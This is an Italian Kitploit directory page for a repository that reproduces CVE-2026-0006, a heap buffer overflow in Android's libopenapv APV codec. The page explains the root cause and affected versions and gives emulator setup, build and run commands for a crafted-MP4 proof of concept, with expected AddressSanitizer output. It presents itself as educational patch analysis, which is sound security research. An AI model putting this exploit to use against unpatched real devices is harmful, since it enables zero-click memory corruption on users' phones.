Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-0006-openapv-poc — CVE-2026-0006: PoC di heap buffer overflow per libopenapv (codec APV Android) - CVSS 9.8 | Kitploit
Strumenti/GitHubGitHub/mobilehackinglab/cve-2026-0006-openapv-poc
Sicurezza AndroidAnalisi delle VulnerabilitàAnalisi del CodiceExploitFuzzingSicurezza MobileApprendimento e FormazioneBinary ExploitationLab e Pratica

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubmobilehackinglab/cve-2026-0006-openapv-poc

CVE-2026-0006-openapv-poc

CVE-2026-0006: PoC di heap buffer overflow per libopenapv (codec APV Android) - CVSS 9.8

Vedi Repository
1264 mesi faNon ancora revisionato

CVE-2026-0006: Overflow del buffer heap in libopenapv (Codec APV Android)

Analisi della Patch e Riproduzione di Mobile Hacking Lab

CVSS 9.8 Critico | Sfruttato attivamente in the wild | Corretto a marzo 2026

Nota: Non abbiamo scoperto questa vulnerabilità. Tutto il merito per la scoperta e la segnalazione responsabile di CVE-2026-0006 va ai ricercatori originali. Questo repository contiene la nostra analisi della patch, riproduzione e writeup educativa indipendente per aiutare la community di sicurezza a comprendere la classe di bug e le tecniche di sfruttamento coinvolte.

Demo: deploy_exploit_mp4.sh che provoca SIGSEGV in mediaswcodec

Panoramica

CVE-2026-0006 è un heap buffer overflow in libopenapv, il codec APV (Advanced Professional Video) open-source di Samsung integrato in Android 16 come modulo Mainline.

La vulnerabilità consente esecuzione remota di codice zero-click tramite un file MP4 appositamente predisposto. Il framework multimediale di Android elabora automaticamente i file video per miniature e anteprime — nessuna interazione utente richiesta.

Causa principale

oapvd_info() e oapvd_decode() leggono le dimensioni del frame da PBU diversi (Payload Byte Units). Un attaccante inietta una PBU AU_INFO (tipo 65) che dichiara dimensioni ridotte (16x16), mentre la PBU FRAME effettiva codifica dimensioni grandi (64x64). Il framework alloca i buffer basandosi sull'output di oapvd_info(), quindi oapvd_decode() scrive i pixel decodificati con le dimensioni della PBU FRAME — facendo overflow del buffer di 14,848 byte.

Versioni interessate

  • libopenapv v0.1.11.1 fino a v0.1.13.0
  • Dispositivi Android 16 con livello di patch di sicurezza precedente a marzo 2026
  • Samsung Galaxy S26 Ultra e altri dispositivi con supporto al codec APV

Contenuto del repository

Configurazione dell'ambiente di test

È necessario un emulatore Android 16 con livello di patch di sicurezza precedente a marzo 2026 (il decoder APV non è presente nelle versioni precedenti di Android).

Crea l'AVD

root@kitploit:~
# Install the required system image (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"

# Create the AVD
avdmanager create avd \
  -n android16_apv \
  -k "system-images;android-36.1;google_apis;arm64-v8a" \
  -d pixel_6

# Launch the emulator
emulator -avd android16_apv -no-snapshot-load

Verifica che il decoder APV sia presente

root@kitploit:~
# Check that the APV codec module exists
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so

# Check security patch level (must be before 2026-03-01)
adb shell getprop ro.build.version.security_patch

Se la patch di sicurezza è 2026-03-01 o successiva, la vulnerabilità è stata corretta e l'exploit non funzionerà. Utilizza un'immagine di sistema o uno snapshot precedente.

Avvio rapido

Opzione 1: Distribuisci l'MP4 di exploit precompilato sul dispositivo Android

root@kitploit:~
# Requires: adb connected to Android 16 device/emulator (pre-March 2026 patch)
./deploy_exploit_mp4.sh

Questo comando genera l'MP4 di exploit, lo invia al dispositivo, lo apre e cattura l'output del crash. Il crash potrebbe non attivarsi al primo tentativo — lo script riprova automaticamente fino a 3 volte.

Opzione 2: Genera solo l'MP4 di exploit

root@kitploit:~
# Requires: valid.apv and apv-mp4/valid_ffmpeg.mp4 (both included)
python3 generate_overflow_mp4.py

Opzione 3: Cross-compila il PoC ASan per ARM64

root@kitploit:~
# Requires: Android NDK r29+, libopenapv v0.1.11.3 source
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so

# 1. Build libopenapv with ASan for ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
  -DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)

# 2. Cross-compile the MP4 ASan PoC
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
  -I../inc -I./include \
  poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan

# 3. Push and run on device
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
  ASAN_OPTIONS=detect_leaks=0 \
  /data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"

Output ASan atteso

root@kitploit:~
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0

0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)

Come è stata corretta

  1. Controlli immediati dei limiti (commit fb6a5eab): validazione ssize > 4 e controllo della firma 'aPv1'
  2. Validazione dei parametri (v0.1.13.1): modulo oapv_param.c per la validazione di dimensioni e dimensioni delle tile
  3. Accesso sicuro al bitstream (v0.2.0.0): letture con controllo dei limiti a livello di bitstream reader

Riferimenti

  • Android Security Bulletin - marzo 2026
  • libopenapv su GitHub
  • RFC 9924 - Codec APV
  • Mobile Hacking Lab - Writeup completo

Crediti

Questa vulnerabilità è stata scoperta e segnalata in modo responsabile dai ricercatori di sicurezza originali. Non abbiamo trovato noi questa CVE. Tutto il merito della scoperta va a loro.

Questo repository rappresenta l'analisi della patch e riproduzione indipendente di Mobile Hacking Lab — creato a scopo educativo per aiutare la community di sicurezza a imparare dalle vulnerabilità reali.

Esclusione di responsabilità

Questa ricerca è stata condotta a scopo educativo su build di test isolate della libreria vulnerabile. Tutti i test sono stati eseguiti su binari compilati localmente del progetto open-source libopenapv. Nessun dispositivo o sistema di produzione è stato preso di mira.

Scarica lo strumento
FileDescrizione
generate_overflow_mp4.pyGenera l'MP4 di exploit con la discrepanza di dimensioni AU_INFO
deploy_exploit_mp4.shOne-shot: genera, invia al dispositivo Android, apre e cattura il crash
poc_mp4_asan.cPoC ASan che simula il percorso di decodifica di C2SoftApvDec
poc_android_oob_write.cPoC ARM64 standalone con rilevamento di overflow della regione di guardia
valid.apvBitstream APV valido di 337 byte (64x64, YUV422, 10-bit)
apv-mp4/valid_ffmpeg.mp4Container MP4 di base (generato da ffmpeg)
apv-mp4/overflow_auinfo.mp4MP4 di exploit precompilato (1,178 byte)